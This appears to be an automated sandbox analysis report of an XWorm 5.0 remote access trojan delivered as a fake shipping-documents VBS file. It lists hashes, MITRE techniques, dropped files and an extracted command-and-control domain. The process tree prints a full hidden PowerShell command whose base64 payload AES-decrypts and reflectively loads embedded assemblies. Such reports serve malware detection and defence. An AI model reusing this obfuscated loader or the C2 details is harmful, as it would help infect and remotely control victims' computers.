xworm | dbfe1e570510947bc6faaecfb3c84ea248e7bd8da1a54a4a669b64c00dc3b54c

General

Target

Original Shipping Documents.pdf_.vbs
Size

72KB
MD5

680c4f499e1b3ce5242349c3b7e5eb4f
SHA1

2cabfc9124e28bade1772972866510c9c4442d18
SHA256

dbfe1e570510947bc6faaecfb3c84ea248e7bd8da1a54a4a669b64c00dc3b54c
SHA512

ce82cb6470d4afc4070ca663159aa12c1a548e503d20eaa773e307ec8539d3ced7cab0f53f14f1f001d6443f1900376a1ce0512e637f2220a1e2c76e50ce3591
SSDEEP

1536:5lMsUJ3S4mY8I9tSstS3z8e9IEnHDc9EFMLSEGgcX4XTA66MrhM:5asUJ3SrI9tSskj8e+EHY9Bfja

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expressblessingnow001.duckdns.org:3911

Mutex

RGibYsdTDFPkg2QK

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1208-23-0x0000022E52160000-0x0000022E52170000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1208	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-925314154-1797147466-1467878628-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_7617a87d.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_7617a87d.cmd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3672	WScript.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1208	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1208	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 2240	3672	WScript.exe	87
PID 3672 wrote to memory of 2240	3672	WScript.exe	87
PID 2240 wrote to memory of 3660	2240	cmd.exe	89
PID 2240 wrote to memory of 3660	2240	cmd.exe	89
PID 3660 wrote to memory of 1208	3660	cmd.exe	91
PID 3660 wrote to memory of 1208	3660	cmd.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Original Shipping Documents.pdf_.vbs"
1⤵
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eQBX85qr.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\eQBX85qr.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaHZ1bmIgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGh2dW5iKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRodnVuYiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRodnVuYiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaHZ1bmIiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamdiYnIoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0Z4Z2t5eG9NYVUvay85WTlYMEJVY3R3aFRHdFJSbTk0UG5PODlrSkNRTkU9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJzgvTzJZNDVLalI0ajUwdWRrbGJTUEE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24geHN0Z3coJHBhcmFtX3Zhcil7CSR4ZnN5Yj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkaHh2cW89TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdXFvenQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeGZzeWIsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHVxb3p0LkNvcHlUbygkaHh2cW8pOwkkdXFvenQuRGlzcG9zZSgpOwkkeGZzeWIuRGlzcG9zZSgpOwkkaHh2cW8uRGlzcG9zZSgpOwkkaHh2cW8uVG9BcnJheSgpO31mdW5jdGlvbiBva2N1YigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHBnZG92PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGF2dXRzPSRwZ2Rvdi5FbnRyeVBvaW50OwkkYXZ1dHMuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGh2dW5iOyR6amViZT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGh2dW5iKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgka2JrIGluICR6amViZSkgewlpZiAoJGtiay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG9raWhkPSRrYmsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHljaGZuPVtzdHJpbmdbXV0kb2tpaGQuU3BsaXQoJ1wnKTskbWd5YWs9eHN0Z3cgKGpnYmJyIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHljaGZuWzBdKSkpOyRvc3dnbj14c3RndyAoamdiYnIgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkeWNoZm5bMV0pKSk7b2tjdWIgJG1neWFrICRudWxsO29rY3ViICRvc3dnbiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpu4wjre.mgu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\eQBX85qr.bat

Filesize
64KB

MD5
d9b19524f7b0099121d1375111e52267

SHA1
67cbe83c3b1d8f7585e6df97493c79e9965c3214

SHA256
029dbef3752d45f4966caaaff29fba3edfdab5f9b3f51faffa019b7c4ccce3e1

SHA512
7d0f40228e371a9b84a83501e6af571979b3b84ed19c38f2b0fbe69e2d37c44aa86b9edad61493f8be65c6c0bc60e27f721dc9d771f68f770ad38adfa18f1324

Download Submit
memory/1208-6-0x00007FFFC8DA3000-0x00007FFFC8DA5000-memory.dmp

Filesize
8KB

Download
memory/1208-12-0x0000022E51FD0000-0x0000022E51FF2000-memory.dmp

Filesize
136KB

Download
memory/1208-17-0x00007FFFC8DA0000-0x00007FFFC9861000-memory.dmp

Filesize
10.8MB

Download
memory/1208-18-0x00007FFFC8DA0000-0x00007FFFC9861000-memory.dmp

Filesize
10.8MB

Download
memory/1208-21-0x0000022E4FF40000-0x0000022E4FF4E000-memory.dmp

Filesize
56KB

Download
memory/1208-20-0x0000022E37D10000-0x0000022E37D18000-memory.dmp

Filesize
32KB

Download
memory/1208-23-0x0000022E52160000-0x0000022E52170000-memory.dmp

Filesize
64KB

Download
memory/1208-24-0x00007FFFC8DA3000-0x00007FFFC8DA5000-memory.dmp

Filesize
8KB

Download
memory/1208-25-0x00007FFFC8DA0000-0x00007FFFC9861000-memory.dmp

Filesize
10.8MB

Download

Analysis

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